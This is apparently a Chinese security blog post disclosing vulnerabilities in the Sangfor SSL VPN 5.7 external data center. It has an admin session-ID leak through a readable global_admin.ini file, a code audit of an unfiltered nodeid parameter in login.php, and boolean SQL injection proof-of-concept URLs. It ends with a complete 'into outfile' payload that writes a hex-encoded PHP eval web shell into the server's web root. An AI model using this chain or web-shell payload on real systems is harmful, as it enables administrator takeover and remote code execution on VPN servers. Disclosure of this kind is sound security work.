深信服SSL VPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell

  • A+
所属分类:漏洞时代
摘要

测试版本为SSL 5.7的外置DC,主要有两个问题:
1、管理员sessionid泄漏
2、SQL注入

测试版本为SSL 5.7的外置DC,主要有两个问题:
1、管理员sessionid泄漏
2、SQL注入

一、敏感信息泄漏:
Admin用户登录后,会出现一个文件(Admin未登录时此文件不存在)
里面包含了Admin用户的phpsessionid,并且任意用户可访问,如下图:

https://192.168.222.128/global_admin.ini

深信服SSL VPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell
利用方法类似XSS,其它用户将浏览器cookie phpsessionid改成对应的值,再访问/src/index.php就是管理员用户了,无需知道帐号密码
利用fiddler把phpsessionid改成Admin对应的sessionid:
深信服SSL VPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell
再访问/src/index.php,直接登录了:
深信服SSL VPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell
系统设置--环境设置--其它,可以看到服务器绝对路径:
深信服SSL VPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell
二、SQL注入
/src/login.php代码审核:

if(isset($_REQUEST['action_c'])&&$_REQUEST['action_c'] == 'login') {  header("Content-type: text/html; charset=utf-8");  $user_type = $_REQUEST['user_type'];  $user = $_REQUEST['user'];  $pass = $_REQUEST['pass'];  $pass_dec = base64_decode($pass);  $nodeid = $_REQUEST['nodeid'];        //nodeid参数输入部分,未做过滤  if(!empty($nodeid) && !is_numeric($nodeid) && !is_numeric($user_type))     //这部分逻辑搞笑了,当nodeid不为空且nodeid不为数字且user_type不为数字才返回参数错误。当user_type为数字型,而nodeid不为数字型的时候,这里逻辑为假,不提示参数错误并进入后续代码处理  {   backmsg("参数错误");   exit;  }  if($user_type != 0)  {   $user_type = 1;  }  // 封锁IP检测  $path = $_SERVER['DOCUMENT_ROOT']."/src/temp";  $handle = @opendir($path);  if($handle)  {   while(false !== ($file_name = @readdir($handle)))   {    $file = $path."/".$file_name;    if(time() - @filemtime($file) > 300)  //300秒后清除IP黑名单文件    {     @unlink($file);    }   }  }  $time = 0;  $file = $path."/".$_SERVER['REMOTE_ADDR'].$user_type;  $handle = @fopen($file, "r");  if($handle)  {   $time = @fread($handle, 10);   if(($time !== false) && ($time > 4))   {    backmsg('同一IP登录登录失败次数超过5次,拒绝登录,请稍后再试');    exit;   }   @fclose($handle);  }  $handle = @fopen($file, "w");  if($handle)  {   ++$time;   @fwrite($handle, $time);   @fclose($handle);  }     //上面的封锁逻辑,当用户登录失败5次后,封锁300秒  //验证用户名密码  $adlogin = new adtLogin($user_type);  if(!$adlogin->checkAdtPsw($nodeid,$user,$pass_dec))  //验证帐号密码流程,需跟踪  {   backmsg(_E($adlogin->geterrno()));   exit;  }  // 通过验证,删除临时文件  @unlink($file);

php class adtLogin代码文件:/src/inc/class/adtLogin.class.php

class adtLogin   {  var $Gloadmin=1;//记录是否是全局管理员,0表示全局管理员,1表示节点管理员 存入session  var $type;//记录用户选择管理员类型 0表示全局管理员,1表示节点管理员  var $errno;  var $nodeid;  function adtLogin($type)  {   $this->type=trim($type);  }  public function checkAdtPsw($nodeid,$username,$pass)  {  /*@参数:$nodeid 数值 客户端提交数据,0表示用户选择全局数据库,其他值对应相应节点ID   $this->nodeid=trim($nodeid);  //nodeid未过滤   $username=filterStr(trim($username));   $pass = @EncryptDes2(filterStr($pass));   //$pass =md5($pass);   $con=new SinforDbBase();     if($this->type==0)  //type=0也就是全局管理员的检查流程,这里没有问题,不用看   {      省略......   }   else  //type=1也就是节点管理员的检查流程   {    if($nodeid == null)    {     $this->errno=50;     return false;    }    if(!$con->OpenDb($this->nodeid))  //变量nodeid进入OpenDb函数,需跟踪    {     $this->errno=50;     return false;    } 省略......

OpenDb函数定义在/src/inc/class/SinforDbBase.class.php里

省略......         function OpenDb($NodeId=GLOBAL_DB)  //需跟踪的OpenDb函数         {             $db_config["hostname"]  = $this->hostname.":".$this->port;             $db_config["username"]  = $this->username;             $db_config["password"]  = $this->pass;             $db_config["charset"]   = "UTF8";             $db_config["database"]  = _S("DatabaseConfig", "DataBase"); // 默认为全局数据库                          if( $NodeId != GLOBAL_DB )  //触发注入的前提,也就是nodeid不为0             {                 //$dbObj  = new DBMantain();                 //$db_config["database"] = $dbObj->getdbname($NodeId);                 /* 取数据库名字 */                 if( ! $this->connect($db_config) )                 {                     return false;                 }                                 $sql = "select DB_Name from dev_node where id =$NodeId";  //SQL注入点                 $row = $this -> row_query_one($sql);                 $this -> close_db();                    if( ! $row )                 {                     return false;                 }                 $db_config["database"] = $row["DB_Name"];   // 非全局数据库             }

注入POC:

https://IP/src/login.php?action_c=login&user_type=1g&user=admin&pass=admin&nodeid=3 and 1=1 

提示“用户名或密码不正确”

https://IP/src/login.php?action_c=login&user_type=1g&user=admin&pass=admin&nodeid=3 and 1=2

提示“连接数据库失败”

由于有防爆破登录机制,这里用sqlmap注入会有很大麻烦,需要很长时间

由于mysql用户是root,并且magic_quotes_gpc = Off,系统又是windows,呵呵了,直接getshell:

https://IP/src/login.php?action_c=login&user_type=1&user=admin&pass=admin&nodeid=3 union select 0x3c3f70687020406576616c28245f504f53545b277362275d293b3f3e into outfile 'C:/Program Files/Sangfor/SSL/LogKeeper/htdocs/test.php'

生成一句话,密码sb,访问地址:https://IP/test.php

具体路径可以利用上面的管理员session泄漏漏洞登录系统后获取
深信服SSL VPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: